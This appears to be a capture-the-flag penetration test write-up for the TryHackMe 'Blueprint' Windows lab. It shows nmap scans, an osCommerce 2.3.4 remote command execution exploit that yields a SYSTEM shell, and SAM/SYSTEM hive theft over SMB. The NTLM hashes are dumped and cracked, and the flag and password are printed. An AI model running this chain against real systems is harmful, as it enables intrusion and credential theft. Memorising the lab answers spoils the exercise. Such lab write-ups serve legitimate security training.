

# Penetration Test Report

Machine: THM | Blueprint

Nov 5, 2024

# Table of Contents

Title.	1
TOC.	2
Executive Summary.	3
SOW.	4
Scope.	5
Active Reconnaissance.	6
Initial Access.	11
Actions on Objectives.	13

# Executive Summary

## Summary:

Out-of-date software led to a vulnerability for multiple open-source exploits that exist online which are low-complexity and have severe impact.

## Remediation / Recommendations:

Ensure all software components of production servers remain up-to-date and patched as soon as possible.

# Statement of Work

## Introduction:

This penetration test targets the Windows machine “Blueprint” on TryHackMe by user: “MrSeth6797.” Assessment conducted 11/5/2024.

## Scope of Work:

No SOW provided. Objectives are to find and decrypt the “Lab” user NTLM Hash and find the root.txt flag.

# Scope

## IP Address Scope:

10.10.104.44

## Rules of Engagement:

All TTPs allowed.

# Active Reconnaissance

## Scanning and Analysis:

Started engagement at 12:23 EST.

Conducted ping scan at target host to test reachability.

(12:25 EST) - Initiated Nmap scan at target machine to detect most common open ports.

```
root@ip-10-10-233-156:~# nmap -sS -Pn -T4 10.10.104.44

Starting Nmap 7.60 ( https://nmap.org ) at 2024-11-05 17:35 GMT
Warning: 10.10.104.44 giving up on port because retransmission cap hit (6).
Nmap scan report for ip-10-10-104-44.eu-west-1.compute.internal (10.10.104.44)
Host is up (0.012s latency).
Not shown: 987 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
443/tcp    open  https
445/tcp    open  microsoft-ds
3306/tcp   open  mysql
8080/tcp   open  http-proxy
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49158/tcp  open  unknown
49159/tcp  open  unknown
49160/tcp  open  unknown
MAC Address: 02:10:C7:28:9F:9B (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds
```

(12:37 EST) - Initiated an Nmap scan with vulnerability scripts and service discovery targeting the ports hosting web services. Also performed manual analysis via web browser.

```
root@ip-10-10-233-156:~# nmap -sS -sV -sC --script=vuln -p 80,443,8080 10.10.104.44

Starting Nmap 7.60 ( https://nmap.org ) at 2024-11-05 17:37 GMT
Nmap scan report for ip-10-10-104-44.eu-west-1.compute.internal (10.10.104.44)
Host is up (0.00082s latency).

PORT      STATE      SERVICE VERSION
80/tcp    filtered  http
443/tcp    filtered  https
8080/tcp   open      http    Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=ip-10-10-104-44.eu-west-1.compute.internal
| Found the following possible CSRF vulnerabilities:
|
|   Path: http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/catalog/
|   Form id:
|   Form action: http://localhost:8080/oscommerce-2.3.4/catalog/index.php
|
|   Path: http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/catalog/
|   Form id:
|   Form action: http://localhost:8080/oscommerce-2.3.4/catalog/advanced_search_result.php
|
|   Path: http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/catalog/
|   Form id:
|   Form action: http://localhost:8080/oscommerce-2.3.4/catalog/index.php
|_ http-dombased-xss: Couldn't find any DOM based XSS.
|_ http-enum:
|   /: Root directory w/ listing on 'apache/2.4.23 (win32) openssl/1.0.2h php/5.6.28'
|   /icons/: Potentially interesting folder w/ directory listing
|   /server-info/: Potentially interesting folder
|   /server-status/: Potentially interesting folder
|_ http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_ http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|   State: LIKELY VULNERABLE
|   IDs: CVE:CVE-2007-6750
|   Slowloris tries to keep many connections to the target web server open and hold
|   them open as long as possible. It accomplishes this by opening connections to
|   the target web server and sending a partial request. By doing so, it starves
|   the http server's resources causing Denial Of Service.
```

```
Disclosure date: 2009-09-17
References:
  http://ha.ckers.org/slowloris/
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
http-sql-injection:
Possible sqli for queries:
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dD%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dD%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dD%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dD%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=N%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=N%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/?C=S%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/docs/?C=M%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/docs/?C=N%3b0%3dD%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/docs/?C=D%3b0%3dA%27%200R%20sqlspider
http://ip-10-10-104-44.eu-west-1.compute.internal:8080/oscommerce-2.3.4/docs/?C=S%3b0%3dA%27%200R%20sqlspider
```

Paused engagement at 13:28 EST.

Resumed engagement at 14:00 EST.

Searched through the web server at <http://10.10.104.44:8080/> and found that it was running osCommerce version 2.4.3



10.10.104.44:8080/oscommerce-2.3.4/catalog/

TryHackMe | Learn Cy...

TryHackMe Support

Offline CyberChef

Revshell Generator

Reverse Shell Cheat S...

GitHub - swisskyrepo/...

eshop

Cart

Contents

Checkout

My Account

Top » Catalog

Welcome to eshop

Welcome Guest! Would you like to [log yourself in](#)? Or would you prefer to [create an account](#)?

New Products For November

Red Corner

Red Corner

\$32.00

Microsoft Internet Keyboard PS/2

Microsoft Internet Keyboard PS/2

\$69.99

Speed

Speed

\$39.99

Beloved

Beloved

\$54.99

The Replacement Killers

The Replacement Killers

\$42.00

Unreal Tournament

Unreal Tournament

\$89.99

Categories

Hardware-> (6)

Software-> (4)

DVD Movies-> (17)

Gadgets (1)

Manufacturers

Please Select

Quick Find

Use keywords to find the product you are looking for.

Advanced Search

What's New?

Microsoft Internet Keyboard PS/2

Microsoft Internet Keyboard PS/2

\$69.99

Information

Shipping & Returns

Privacy Notice

Conditions of Use

Found a RCE vulnerability with this version of osCommerce on GitHub:

# osCommerce 2.3.4 Remote Command Execution

Web Application: osCommerce

Version Tested: 2.3.4

Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin

Exploit: Exploiting the install.php finish process by injecting php payload into the db\_database parameter & read the system command output from configure.php

Notes: The RCE doesn't need to be authenticated

The screenshot displays a terminal window on the left and a web browser window on the right. The terminal window, titled 'nobodyatall@0xDEADBEEF: ~/pentest/osCommerce 2.3.4 RCE', shows the execution of a Python script 'osCommerce2\_3\_4RCE.py' with the URL 'http://localhost:8080/oscommerce-2.3.4/catalog'. The script outputs a message indicating that the install directory is still available and likely vulnerable. It then tests the vulnerability by injecting a system command to read the output of 'configure.php'. The terminal output shows the directory listing for 'C:\xampp\htdocs\oscommerce-2.3.4\catalog\install' and the results of the command execution, which includes the contents of the 'configure.php' file. The web browser window, titled 'osCommerce, Open Source E-Commerce Solutions - Mozilla Firefox', shows the 'osCommerce Online Merchant v2.3.4!' welcome page. The page includes a 'Server Capabilities' section with a 'PHP Version' of 5.6.28 and a 'New Installation' section stating that the webserver environment has been verified for a successful installation and configuration.

```
nobodyatall@0xDEADBEEF: ~/pentest/osCommerce 2.3.4 RCE
File Actions Edit View Help
nobodyatall@0...: ~/tryhackme nobodyatall@0xDEADBEEF: ~
nobodyatall@0xDEADBEEF:~/pentest/osCommerce 2.3.4 RCE$ python3 osCommerce2_3_4RCE.py http://localhost:8080/oscommerce-2.3.4/catalog
[*] Install directory still available, the host likely vulnerable to the exploit.
[*] Testing injecting system command to test vulnerability
User: nt authority\system

RCE_SHELL$ dir
Volume in drive C has no label.
Volume Serial Number is 14AF-C52C

Directory of C:\xampp\htdocs\oscommerce-2.3.4\catalog\install
10/25/2020 12:14 AM <DIR> .
10/25/2020 12:14 AM <DIR> ..
04/11/2019 10:52 PM 447 application.php
10/25/2020 12:23 AM 1,118 configure.php
04/11/2019 10:52 PM <DIR> functions
10/25/2020 12:14 AM 73,802 shell.exe
3 File(s) 75,367 bytes
3 Dir(s) 19,508,637,696 bytes free

RCE_SHELL$
```

osCommerce, Open Source E-Commerce Solutions - Mozilla Firefox

osCommerce, Open Source E-Commerce Solutions

localhost:8080/oscommerce-2.3.4/catalog/install

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security

oscommerce

osCommerce Website | Support | Documentation

Welcome to osCommerce Online Merchant v2.3.4!

osCommerce Online Merchant helps you sell products worldwide with your own online store. Its Administration Tool manages products, customers, orders, newsletters, specials, and more to successfully build the success of your online business.

osCommerce has attracted a large community of store owners and developers who support each other and have provided over 7,000 free add-ons that can extend the features and potential of your online store.

Server Capabilities

PHP Version 5.6.28

New Installation

The webserver environment has been verified to proceed with a successful installation and configuration of your online store.

Source: <https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution>

# Initial Access

I used the RCE script from GitHub to gain a shell as SYSTEM user on the machine:

```
root@ip-10-10-99-24:~# python3 osCommerce2_3_4RCE.py http://10.10.104.44:8080/oscommerce-2.3.4/catalog
[*] Install directory still available, the host likely vulnerable to the exploit.
[*] Testing injecting system command to test vulnerability
User: nt authority\system

RCE_SHELL$ dir
Volume in drive C has no label.
Volume Serial Number is 14AF-C52C

Directory of C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes

11/05/2024  06:15 PM    <DIR>          .
11/05/2024  06:15 PM    <DIR>          ..
04/11/2019  09:52 PM                447 application.php
11/05/2024  07:31 PM                1,118 configure.php
04/11/2019  09:52 PM    <DIR>          functions
                2 File(s)                1,565 bytes
                3 Dir(s)  19,495,612,416 bytes free
```

Using RCE vulnerability, I can navigated to the Administrator's desktop to get the root.txt flag:

```
RCE_SHELL$ dir \..\Users\Administrator\Desktop
Volume in drive C has no label.
Volume Serial Number is 14AF-C52C

Directory of C:\Users\Administrator\Desktop

11/27/2019  06:15 PM    <DIR>          .
11/27/2019  06:15 PM    <DIR>          ..
11/27/2019  06:15 PM                37 root.txt.txt
                1 File(s)                37 bytes
                2 Dir(s)  19,503,730,688 bytes free

RCE_SHELL$ type \..\Users\Administrator\Desktop\root.txt.txt
THM{aea1e3ce6fe7f89e10cea833ae009bee}
```

In order to satisfy the other objective (Obtain "Lab" user's NTLM hash) I first saved the contents of the SAM database:

```
RCE_SHELL$ reg save hklm\sam C:\Users\Administrator\Desktop\sam
The operation completed successfully.

RCE_SHELL$ reg save hklm\system C:\Users\Administrator\Desktop\system
The operation completed successfully.
```

I then created an SMB share on the Administrator's desktop:

```
RCE_SHELL$ net share admindesk=C:\Users\Administrator\Desktop
admindesk was shared successfully.
```

I then connected to this share from my attacking machine and attempted to download the files, and changed the file permissions of the directory that the share is connected to.

```
root@ip-10-10-217-24:~# smbclient \\\10.10.255.20\admindesk
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_ACCESS_DENIED listing \*
smb: \> dir
.                DR           0   Tue Nov  5 21:40:55 2024
..               DR           0   Tue Nov  5 21:40:55 2024
desktop.ini      AHS         282   Thu Apr 11 23:36:47 2019
root.txt.txt     A           37   Wed Nov 27 18:15:37 2019
sam              A        24576  Tue Nov  5 21:40:46 2024
system          A    12800000  Tue Nov  5 21:40:59 2024

7863807 blocks of size 4096. 4756687 blocks available
smb: \> get sam
NT_STATUS_ACCESS_DENIED opening remote file \sam
smb: \> get sam
getting file \sam of size 24576 as sam (30.8 KiloBytes/sec) (average 30.8 KiloBytes/sec)
smb: \> get system
getting file \system of size 12800000 as system (10000.0 KiloBytes/sec) (average 6175.5 KiloBytes/sec)
smb: \>
```

I used samdump2 on the attacking machine to dump the NTLM hashes:


```
root@ip-10-10-217-24:/opt/Mimikatz/x64# samdump2 /root/system /root/sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
```

I input the lab user's password hash into crackstation:

Enter up to 20 non-salted hashes, one per line:

30e87bf999828446a1c1209ddde4c450

I'm not a robot



reCAPTCHA

Privacy - Terms

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1\_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
30e87bf999828446a1c1209ddde4c450	NTLM	googleplus

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

Lab user's password: googleplus

# **Actions on Objectives**

**13:30 EST - Obtained root.txt via RCE by exploiting a vulnerability in osCommerce version 2.3.4**

**17:18 EST - Obtained “Lab” user’s NTLM hash by saving the SAM database and dumping it on the attacking machine.**